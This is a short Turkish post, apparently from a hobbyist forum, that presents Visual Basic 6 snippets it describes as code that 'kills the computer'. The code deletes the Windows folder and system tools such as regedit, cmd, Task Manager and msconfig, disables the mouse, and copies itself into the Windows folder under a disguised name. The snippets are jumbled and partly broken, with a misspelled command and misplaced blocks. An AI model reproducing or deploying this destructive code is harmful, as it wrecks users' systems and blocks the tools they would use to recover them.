Merhaba Arkadaşlar bugün sizlerle birlikte bilgisayarı öldüren kodlar yazacağım sakın bunu kendi bilgisayarınızda denemeyiniz.



Kill "C:\WİNDOWS"
Shell "rundll32 mouse,disable"
If App.PrevInstance Then
MsgBox "Program Zaten Aktif Durumda", vbCritical, "Hata"
End
End If
End Sub
Kill "C:\WINDOWS\regedit.exe"
Dim ben As String
ben = App.Path & "\" & App.EXEName & ".exe"
FileCopy ben, "c:\windows\mrss32.exe"
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub
ill "C:\WINDOWS\system32\cmd.exe"
Kill ("run.exe")
On Error Resume Next
Kill ("c:/windows/system32/osk.exe")
ON LOCAL ERROR RESUME NEXT 
Kill "c:\windows\system32\taskmgr.exe"
Kill "C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe"
Kill "C:\WINDOWS\Help\msconfig.exe"